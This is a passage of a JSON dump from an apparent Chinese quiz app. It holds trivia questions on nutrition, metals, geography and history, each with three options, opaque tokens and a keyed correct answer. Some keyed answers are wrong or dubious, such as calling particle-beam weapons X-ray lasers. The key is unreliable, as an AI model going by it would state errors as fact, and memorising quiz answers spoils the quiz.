04:37:39","status":"1"},{"questionId":"8801428800","questionIndex":"2","questionStem":"碘缺乏会对儿童、青少年造成什么影响?","options":"[{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XmGs_cKSUKp4fKaL\",\"optionDesc\":\"发育和智力受影响\"},{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XLHS8FGkxy3DT4wk\",\"optionDesc\":\"甲亢\"},{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XfuXPZNcxRDBWwiR\",\"optionDesc\":\"无力\"}]","questionToken":"I8wSx0BRhzaOhXcmCc2nC0fg6_OPJwxlL4Csbmv4hAxtR_WCOxS63qTTz9kBuqzcdWXR7a7IVr09dl_C0QrNYqpMmmQWaQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XmGs_cKSUKp4fKaL\",\"optionDesc\":\"发育和智力受影响\"}","create_time":"27/1/2021 04:37:38","update_time":"27/1/2021 04:37:38","status":"1"},{"questionId":"8801428801","questionIndex":"3","questionStem":"为预防中暑应多喝?","options":"[{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8Xi8w9L4icGpVwmqi4A\",\"optionDesc\":\"盐开水\"},{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8XfqeX9uNA6K98TZuJQ\",\"optionDesc\":\"可乐\"},{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8XAk9IufHb3DO2ebJQg\",\"optionDesc\":\"白开水\"}]","questionToken":"I8wSx0BRhzaOhHcnCc2nCyPTe4r7dudtLOiyRMi2KWVCwx0GWihF336lLKZmpRcCxZecuBNyl7tZ21bnc0k_0K29LSvCCQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8Xi8w9L4icGpVwmqi4A\",\"optionDesc\":\"盐开水\"}","create_time":"27/1/2021 04:42:58","update_time":"27/1/2021 04:42:58","status":"1"},{"questionId":"8801428802","questionIndex":"3","questionStem":"烧菜时最好在何时加碘盐以减少碘的损失?","options":"[{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8XUlxOw8KzFKOxxzG\",\"optionDesc\":\"烧菜加水前\"},{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8XAgt72-GsEKwE3ap\",\"optionDesc\":\"烧菜前用碘盐爆锅\"},{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8Xk8IkhLC0IfwNCcY\",\"optionDesc\":\"菜将出锅时\"}]","questionToken":"I8wSx0BRhzaOh3cnCc2nDFm0nYtf8YRrcqX-cTaFHHFpuzH_QFN3paC6knNBYOcZ9dN9_ZcuyAn-C45X8wrR6-OkobMh6A","correct":"{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8Xk8IkhLC0IfwNCcY\",\"optionDesc\":\"菜将出锅时\"}","create_time":"27/1/2021 04:51:43","update_time":"27/1/2021 04:51:43","status":"1"},{"questionId":"8801428803","questionIndex":"2","questionStem":"下列不属于营养物质的是?","options":"[{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XiLoSPba-hP5ois\",\"optionDesc\":\"肝糖元分解形成的葡萄糖\"},{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XAAsVZncx0qK3Uc\",\"optionDesc\":\"食物中的胡萝卜素\"},{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XVIkNECKlVwemFs\",\"optionDesc\":\"食物中的葡萄糖\"}]","questionToken":"I8wSx0BRhzaOhncmCc2nDLm4oFzNtj1_qQxnUy8aOFinP8wXJSjzfyH5Evb1j2LXfuEwL3pXWMKOhdMH1xwI6OWPFkeqQQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XiLoSPba-hP5ois\",\"optionDesc\":\"肝糖元分解形成的葡萄糖\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"8801428804","questionIndex":"5","questionStem":"脑发育的最关键时期是?","options":"[{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XaVJKVkYnhmGCU_Isg\",\"optionDesc\":\"婴儿期和儿童期\"},{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XgGa-HrZsa5UPBB5Wg\",\"optionDesc\":\"胎儿期和婴儿期\"},{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XA0xcJiyKSZRBTcKEg\",\"optionDesc\":\"青春期和婴儿期\"}]","questionToken":"I8wSx0BRhzaOgXchCc2nDPsQ1GE95n_jK_LhhcTS-t50ReE0szNbweJq1m1x_RMD47TrjY9X6Z5FQXYkyO8brqN2Iog5rQ","correct":"{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XgGa-HrZsa5UPBB5Wg\",\"optionDesc\":\"胎儿期和婴儿期\"}","create_time":"27/1/2021 04:39:30","update_time":"27/1/2021 04:39:30","status":"1"},{"questionId":"8801428805","questionIndex":"5","questionStem":"自然界中,有“智慧元素”之称的是?","options":"[{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XWUwld2i3yy2_Vc69A\",\"optionDesc\":\"锌\"},{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XPmmKNySD1sUC58XrQ\",\"optionDesc\":\"铁\"},{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XkEQ6Zke_8y3fbLl9Q\",\"optionDesc\":\"碘\"}]","questionToken":"I8wSx0BRhzaOgHchCc2nC_QDpn47SH4QSx_A5Pgrs0MDltE1HGGmdNexRQFtisbpcFCGBnhk2ab1_TSyMGOagUYdJBFxUg","correct":"{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XkEQ6Zke_8y3fbLl9Q\",\"optionDesc\":\"碘\"}","create_time":"27/1/2021 04:48:35","update_time":"27/1/2021 04:48:35","status":"1"},{"questionId":"8801428806","questionIndex":"4","questionStem":"火炬中常用的火炬燃料是?","options":"[{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8Xf2CcKWubbwpVbtC\",\"optionDesc\":\"柴油\"},{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XrBVCC-sbR8hUqQK\",\"optionDesc\":\"丁烷和煤油\"},{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XGzn05Xu7z8E6rLm\",\"optionDesc\":\"汽油\"}]","questionToken":"I8wSx0BRhzaOg3cgCc2nC_sR57wZaIFICx4ByX_GmpH5707ig-dmrKC7nuFIvc2aeqiFn_TlXxij2-312JO-u1xPvLTIfg","correct":"{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XrBVCC-sbR8hUqQK\",\"optionDesc\":\"丁烷和煤油\"}","create_time":"27/1/2021 04:51:19","update_time":"27/1/2021 04:51:19","status":"1"},{"questionId":"8801428807","questionIndex":"2","questionStem":"煮鸡蛋时不宜用以下哪种容器?","options":"[{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XobWv0AiBdNTJZc\",\"optionDesc\":\"银制容器\"},{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XOlukMNUwaZyVJA\",\"optionDesc\":\"铝制容器\"},{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XS7EUejITNH_Ke4\",\"optionDesc\":\"陶制容器\"}]","questionToken":"I8wSx0BRhzaOgncmCc2nCzQMAo4nyYue2l4IqwVfiE2gkFc4zuVKTDAloK8o4nWAfkVno04I0FyUEw8D7ueD5Ua7KRzeKg","correct":"{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XobWv0AiBdNTJZc\",\"optionDesc\":\"银制容器\"}","create_time":"27/1/2021 04:36:59","update_time":"27/1/2021 04:36:59","status":"1"},{"questionId":"8801428808","questionIndex":"4","questionStem":"生活中常说的“五金”不包括下列哪种金属?","options":"[{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8XTHL948_PPrbigrL\",\"optionDesc\":\"锡\"},{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8Xv6Y2c7ZLdAKmBa_\",\"optionDesc\":\"锌\"},{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8XA7FAqrsHWHVVQaP\",\"optionDesc\":\"铁\"}]","questionToken":"I8wSx0BRhzaOjXcgCc2nC3rFbN0GxuPTLMQQdeZ-3Csm5-4BJt-3tv8SmFLTov4VVVX4X3CvXXPbwpqYmwdj31hvWpYuJQ","correct":"{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8Xv6Y2c7ZLdAKmBa_\",\"optionDesc\":\"锌\"}","create_time":"27/1/2021 04:49:15","update_time":"27/1/2021 04:49:15","status":"1"},{"questionId":"8801428809","questionIndex":"2","questionStem":"18K 金饰品的含金量是?","options":"[{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XBkaBll7RwPPW9zN\",\"optionDesc\":\"65%\"},{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XQSl9u3b3PHoN71X\",\"optionDesc\":\"85%\"},{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XhIMJq71KoTmPhnU\",\"optionDesc\":\"75%\"}]","questionToken":"I8wSx0BRhzaOjHcmCc2nCzjlY7EEru7Kz6pWdX4QAauj5wkM1sbb0HGzbUbkvwD36ipZmvlqpPLSmonmconNabkxabUpMQ","correct":"{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XhIMJq71KoTmPhnU\",\"optionDesc\":\"75%\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"8801428810","questionIndex":"4","questionStem":"书上印着金灿灿的烫金字的组成为?","options":"[{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8XKk-txV6qA7J_ral\",\"optionDesc\":\"锌锰合金\"},{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8Xq5XiYPnXkP2i1kw\",\"optionDesc\":\"铜锌合金\"},{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8XV4mRuqG8pJFFhJ0\",\"optionDesc\":\"铜锰合金\"}]","questionToken":"I8wSx0BRhzaPhXcgCc2nDBUFqlVaquA1DG6_W-bVcPODdHuJpIjV8AF3UJpsjLJQnyMQ0eocFpLcxV61PUDOC_ZJ8NlY5w","correct":"{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8Xq5XiYPnXkP2i1kw\",\"optionDesc\":\"铜锌合金\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428813","questionIndex":"2","questionStem":"钢是由什么组成的?","options":"[{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XjV5Mc_CvjCmBfDFbA\",\"optionDesc\":\"铁、碳\"},{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XIOcvwpGG7XKzNzBjw\",\"optionDesc\":\"铁、铝\"},{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XTjr2JoKogSl5bFOTw\",\"optionDesc\":\"铁、锡\"}]","questionToken":"I8wSx0BRhzaPhncmCc2nCzJ0_CKKRBQuF_385RyCYWRM5nO1GLhgiPAGiAUVAB08eh2QTjLpDb_LGhJWx2QIQXUxMwiFnQ","correct":"{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XjV5Mc_CvjCmBfDFbA\",\"optionDesc\":\"铁、碳\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"8801428814","questionIndex":"4","questionStem":"下列不属于绿色蔬菜所含营养物质的为?","options":"[{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8XdyKUjhzDRKwPCXPzg\",\"optionDesc\":\"叶酸\"},{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8XLF2-w3lhgGNfzbUqA\",\"optionDesc\":\"维生素C\"},{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8Xg9iDQfU02yJOOKA7w\",\"optionDesc\":\"钙质\"}]","questionToken":"I8wSx0BRhzaPgXcgCc2nDLAJuMi-cKJccS8bRKLQRBZpvGIu6Awa1ccf8qdQf4lOX5wGf1w-ZEJFe15MqpO6B-vTapZFww","correct":"{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8Xg9iDQfU02yJOOKA7w\",\"optionDesc\":\"钙质\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"8801428816","questionIndex":"5","questionStem":"大自然中废纸的分解约需要几个月?","options":"[{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XrBtn6P2g_XArVU\",\"optionDesc\":\"3-4个月\"},{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XBUHTuqU05jBO3o\",\"optionDesc\":\"8-10个月\"},{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XbmjLya0x9tAsio\",\"optionDesc\":\"5-7个月\"}]","questionToken":"I8wSx0BRhzaPg3chCc2nC1RDr6Yax89DRtSJO2kPd5gXIwMtG_kVBl3KMe-vCLZxV72_KhAWJlO0My7Jv5nJKDaOFcQzJw","correct":"{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XrBtn6P2g_XArVU\",\"optionDesc\":\"3-4个月\"}","create_time":"27/1/2021 04:50:45","update_time":"27/1/2021 04:50:45","status":"1"},{"questionId":"8801428817","questionIndex":"2","questionStem":"钙的最好食物来源是?","options":"[{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XQKmAiGs0IIvVg0\",\"optionDesc\":\"蔬菜\"},{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XKclZKIpyL9Rpls\",\"optionDesc\":\"豆类和豆制品\"},{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XrCyGiTIPoMTCCk\",\"optionDesc\":\"乳和乳制品\"}]","questionToken":"I8wSx0BRhzaPgncmCc2nC9CdCMFKrIPk-lHwCXiI0DF5HtQa4t4oIz-dFWtszTQrej-RcQZwfo0K8TVz-5MuWPY-ipbcVw","correct":"{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XrCyGiTIPoMTCCk\",\"optionDesc\":\"乳和乳制品\"}","create_time":"27/1/2021 04:39:14","update_time":"27/1/2021 04:39:14","status":"1"},{"questionId":"8801428819","questionIndex":"1","questionStem":"水约占成人体重的百分比?","options":"[{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8Xh5DYBdfbgyfgVqb\",\"optionDesc\":\"三分之二\"},{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8XfYb3R2JrjmScnw5\",\"optionDesc\":\"五分之四\"},{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8XMh2o7H4-guBPXhj\",\"optionDesc\":\"二分之一\"}]","questionToken":"I8wSx0BRhzaPjHclCc2nDNnYzEfAo6Hv2TaiGTM0QQkDFNFA0wiN5byAYWgQReAUK68x_P41g6mE-9jvUkLKKUs6Ouer5w","correct":"{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8Xh5DYBdfbgyfgVqb\",\"optionDesc\":\"三分之二\"}","create_time":"27/1/2021 04:41:07","update_time":"27/1/2021 04:41:07","status":"1"},{"questionId":"8801428824","questionIndex":"4","questionStem":"下列哪类食物为酸性食物?","options":"[{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8XDBR7pUWawxfYpDO\",\"optionDesc\":\"茶叶\"},{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8Xukw30rKqdMxpO-H\",\"optionDesc\":\"鸡蛋\"},{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8XcCsSW4WX3YT6gSW\",\"optionDesc\":\"牛奶\"}]","questionToken":"I8wSx0BRhzaMgXcgCc2nC6gIvwXXyHkNFpwlaTJeLQgVZB9cnvOe134TDhUrZvcU_FAM783cN8iHbB0XgKAlPjdHnFJ13A","correct":"{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8Xukw30rKqdMxpO-H\",\"optionDesc\":\"鸡蛋\"}","create_time":"27/1/2021 04:50:22","update_time":"27/1/2021 04:50:22","status":"1"},{"questionId":"8801428825","questionIndex":"1","questionStem":"树干为什么经常刷成白色?","options":"[{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XrMGfhXzy0tPMreF\",\"optionDesc\":\"灭菌\"},{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XbpLmq-SIqGz88I-\",\"optionDesc\":\"防牲口啃食\"},{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XJvTWc06sBcIJYsV\",\"optionDesc\":\"防火\"}]","questionToken":"I8wSx0BRhzaMgHclCc2nC0GAngn5T3f4FYdCaTq9NH8egu9HdS0LHOmU41LfuLSL6KP076kNo0wOigqvlDQZ0SZxH3wkbQ","correct":"{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XrMGfhXzy0tPMreF\",\"optionDesc\":\"灭菌\"}","create_time":"27/1/2021 04:41:48","update_time":"27/1/2021 04:41:48","status":"1"},{"questionId":"8801428826","questionIndex":"4","questionStem":"石头城是对我国哪座城市的美称?","options":"[{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XouLNtKeb6NgkB7I\",\"optionDesc\":\"南京\"},{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XfffilgT02c1s-w7\",\"optionDesc\":\"西安\"},{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XNbnU1spK8EXc3G9\",\"optionDesc\":\"南昌\"}]","questionToken":"I8wSx0BRhzaMg3cgCc2nC32Xwgi3Bfqc57qaTUPLim6XFhn_9gqnXwzgOqIBJWCE2_tHGJGC-YUzDWM3WircIRtKCQscOQ","correct":"{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XouLNtKeb6NgkB7I\",\"optionDesc\":\"南京\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"8801428827","questionIndex":"1","questionStem":"“山城”是我国哪座城市的雅号?","options":"[{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XdzOkMANZpHsNnj8\",\"optionDesc\":\"洛阳\"},{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XukFF3MoPVvakjPm\",\"optionDesc\":\"重庆\"},{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XIv5y_Rcmx_xpAVZ\",\"optionDesc\":\"福州\"}]","questionToken":"I8wSx0BRhzaMgnclCc2nDIwt8146iXArvE-cTBBZr1vUGA5EfTy_3c6moVXQkFvVw1WSLuGLxgdhP_gVJnr1Ch7sGFZ7RA","correct":"{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XukFF3MoPVvakjPm\",\"optionDesc\":\"重庆\"}","create_time":"27/1/2021 04:35:33","update_time":"27/1/2021 04:35:33","status":"1"},{"questionId":"8801428828","questionIndex":"1","questionStem":"我国面积最大的湖泊是?","options":"[{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XmJJhziauA5gdgDKmw\",\"optionDesc\":\"青海湖\"},{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XE8Wy8R1EiLl3nU09A\",\"optionDesc\":\"洞庭湖\"},{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XYXfGthrXxHd6-PQMA\",\"optionDesc\":\"鄱阳湖\"}]","questionToken":"I8wSx0BRhzaMjXclCc2nC8WyFVd6tYbCnYHaSCtCRNt4taBKhtW0oeDr_XxWedCUe7KLJ_CXRFiRvuF4xofSUKy59ERRcw","correct":"{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XmJJhziauA5gdgDKmw\",\"optionDesc\":\"青海湖\"}","create_time":"27/1/2021 04:52:34","update_time":"27/1/2021 04:52:34","status":"1"},{"questionId":"8801428829","questionIndex":"4","questionStem":"世界国土面积最小的国家是?","options":"[{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8XOvt_xOchJUeRxM\",\"optionDesc\":\"瑙鲁\"},{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xtjh2BaBTGTujE8\",\"optionDesc\":\"梵蒂冈\"},{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xa9KGV3plCAU7Gk\",\"optionDesc\":\"摩纳哥\"}]","questionToken":"I8wSx0BRhzaMjHcgCc2nDN6TrWKy_TJg7Nz07k6mKCNT-K-_9bJ1IlLhJqvz3BbSNi5EX-vwhU4XwqtiWJ5dfqozyZyhkw","correct":"{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xtjh2BaBTGTujE8\",\"optionDesc\":\"梵蒂冈\"}","create_time":"27/1/2021 04:40:38","update_time":"27/1/2021 04:40:38","status":"1"},{"questionId":"8801428830","questionIndex":"3","questionStem":"世界石油储量最多是哪一个国家?","options":"[{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XO_Gqkf53S55gT9Z\",\"optionDesc\":\"伊拉克\"},{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XafF_bntSzyAFWI_\",\"optionDesc\":\"伊朗\"},{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XsTnFcVp0oONXas-\",\"optionDesc\":\"沙特阿拉伯\"}]","questionToken":"I8wSx0BRhzaNhXcnCc2nC3K7eOHluWDBJx0tueWgSgwqyR8AwfznZzjgYWmSpdmpC4NCv0a0T1SGtOHz1HkAFWn3OkRBng","correct":"{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XsTnFcVp0oONXas-\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"27/1/2021 04:45:12","update_time":"27/1/2021 04:45:12","status":"1"},{"questionId":"8801428838","questionIndex":"1","questionStem":"火车连续发出两声长鸣,表示什么?","options":"[{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XlCqA83DnDjhTKCb7Q\",\"optionDesc\":\"倒退\"},{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XeK8IVYHD1qfbUZCqg\",\"optionDesc\":\"故障\"},{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XJwgBUV6yFD0o-cS5g\",\"optionDesc\":\"前进\"}]","questionToken":"I8wSx0BRhzaNjXclCc2nDE1NlZfZAmMpy1g1WSdvLuTrzg0DHYiZ_x8omq94VA-QRWMTx3G8o83o1iFRO31WU__PT26fXw","correct":"{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XlCqA83DnDjhTKCb7Q\",\"optionDesc\":\"倒退\"}","create_time":"27/1/2021 04:50:49","update_time":"27/1/2021 04:50:49","status":"1"},{"questionId":"8801428839","questionIndex":"4","questionStem":"下列著名宫殿哪个位于英国?","options":"[{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XrZ88t_UpIFS\",\"optionDesc\":\"白金汉宫\"},{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XbQcKFK5PJSO\",\"optionDesc\":\"凡尔赛宫\"},{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XMg0T6ATtUKT\",\"optionDesc\":\"克里姆林宫\"}]","questionToken":"I8wSx0BRhzaNjHcgCc2nC73Rk6c1oLxIRElHH3E1rmXmRuHSavAR6KI-oM4a82uCJxEfF8_5GZlv2iI_TsaX7Hllkfnbnw","correct":"{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XrZ88t_UpIFS\",\"optionDesc\":\"白金汉宫\"}","create_time":"27/1/2021 04:50:22","update_time":"27/1/2021 04:50:22","status":"1"},{"questionId":"8801428841","questionIndex":"1","questionStem":"下列著名建筑物哪个不属于法国?","options":"[{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XHYkOQHa3jXI6ldmXw\",\"optionDesc\":\"卢浮宫\"},{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XmUcdBbP6SjuWyyUgQ\",\"optionDesc\":\"比萨斜塔\"},{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XXHpUtsA6zXYlnO8Bw\",\"optionDesc\":\"凯旋门\"}]","questionToken":"I8wSx0BRhzaKhHclCc2nDERsd0KJv0pNU0zjVRY8ESj257qFh1Y0nBIaZfxdTAzVVMGauow-3bD18OttlAKbY-DoMR3SAQ","correct":"{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XmUcdBbP6SjuWyyUgQ\",\"optionDesc\":\"比萨斜塔\"}","create_time":"27/1/2021 04:43:48","update_time":"27/1/2021 04:43:48","status":"1"},{"questionId":"8801428844","questionIndex":"2","questionStem":"“粒子束武器”是指什么武器?","options":"[{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XGf8QZ9wDnsTPwTc\",\"optionDesc\":\"微波武器\"},{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XkzyzP3On7bXiDRW\",\"optionDesc\":\"X射线激光武器\"},{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XR2hSdn3-bg1S7wv\",\"optionDesc\":\"激光武器\"}]","questionToken":"I8wSx0BRhzaKgXcmCc2nDPGD6Ph9XKHLwXv1JBKYWN2jlt-60ewxftUajK8A5Jfto6YlW28kRuaCmiVspl78g1SD_sEBcw","correct":"{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XkzyzP3On7bXiDRW\",\"optionDesc\":\"X射线激光武器\"}","create_time":"27/1/2021 04:41:41","update_time":"27/1/2021 04:41:41","status":"1"},{"questionId":"8801428847","questionIndex":"3","questionStem":"防弹衣是由什么材料制成的?","options":"[{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XiLGBhqnUcPmVrBDpw\",\"optionDesc\":\"陶瓷玻璃钢\"},{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XPFQTbxfFtgZX6Ptrg\",\"optionDesc\":\"软不透钢\"},{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XRzLQsPwg2QHIXxYWg\",\"optionDesc\":\"钨合金钢\"}]","questionToken":"I8wSx0BRhzaKgncnCc2nCyJ2c3dq6_8ARiAxZrw2uJdoy48UWKTY77Lj33Iae9KJm1QDliDA-4vQXdMrD-UWp9DVKGnYbg","correct":"{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XiLGBhqnUcPmVrBDpw\",\"optionDesc\":\"陶瓷玻璃钢\"}","create_time":"27/1/2021 04:43:15","update_time":"27/1/2021 04:43:15","status":"1"},{"questionId":"8801428848","questionIndex":"4","questionStem":"左轮手枪一共可装几颗子弹?","options":"[{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8Xae4bX4LvzOLvVY\",\"optionDesc\":\"7颗\"},{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XgctBOIt-crCrAk\",\"optionDesc\":\"6颗\"},{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XNPuqeeNMYCwZDw\",\"optionDesc\":\"5颗\"}]","questionToken":"I8wSx0BRhzaKjXcgCc2nC-Wu9f_d2P6Szf2zvaaFjd8wFQedwTOpFwu9fuAqFtOzB-jZEavhA9MdTHk0MfAKafGXQHQdYQ","correct":"{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XgctBOIt-crCrAk\",\"optionDesc\":\"6颗\"}","create_time":"27/1/2021 04:37:00","update_time":"27/1/2021 04:37:00","status":"1"},{"questionId":"8801428849","questionIndex":"5","questionStem":"下列世界奇迹哪个位于伊拉克?","options":"[{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8Xu4pdwK08DFF_rRO\",\"optionDesc\":\"空中花园\"},{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8XbemwQYhfnXvN4Ne\",\"optionDesc\":\"宙斯神像\"},{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8XEkb2bfhw-O_Hvbq\",\"optionDesc\":\"太阳神像\"}]","questionToken":"I8wSx0BRhzaKjHchCc2nDMnTUv70IdJmx7vdd3z_4JIBUbbxZ-R1Iiq4TWSFM1UOCfiCpf9NU8XnEFdXdaBOe9sNO76X4Q","correct":"{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8Xu4pdwK08DFF_rRO\",\"optionDesc\":\"空中花园\"}","create_time":"27/1/2021 04:46:05","update_time":"27/1/2021 04:46:05","status":"1"},{"questionId":"8801428850","questionIndex":"2","questionStem":"第一次世界大战开始的时间是?","options":"[{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XY9wsLa3SDcnAR3C7g\",\"optionDesc\":\"1939\"},{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XID_QftuSV8AL8cBZw\",\"optionDesc\":\"1910\"},{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XsMXs1vovMbXczv5_A\",\"optionDesc\":\"1914\"}]","questionToken":"I8wSx0BRhzaLhXcmCc2nCzWDpoOtc9DQ2AXWX-ThfuZQCzGJvNz0MT366t9XL_xwNCJupGea-GfQ-dE2vb9LsVoxE9rXTw","correct":"{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XsMXs1vovMbXczv5_A\",\"optionDesc\":\"1914\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"8801428852","questionIndex":"2","questionStem":"第二次世界大战是哪一年爆发的?","options":"[{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8XR4A4CIoRZS-ER8UWw\",\"optionDesc\":\"1940\"},{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8Xpep6Ac4_jlbyTfQoQ\",\"optionDesc\":\"1939\"},{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8XFvEUJQdDyW7Htgg5g\",\"optionDesc\":\"1938\"}]","questionToken":"I8wSx0BRhzaLh3cmCc2nDAzD0Aaw55lLLU8ZbOwQkwf-nS55RdBeOYFOohhXIcw7Kw5JcT2_XtwQNhgZIKH58EKB0jPhJw","correct":"{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8Xpep6Ac4_jlbyTfQoQ\",\"optionDesc\":\"1939\"}","create_time":"27/1/2021 04:34:24","update_time":"27/1/2021 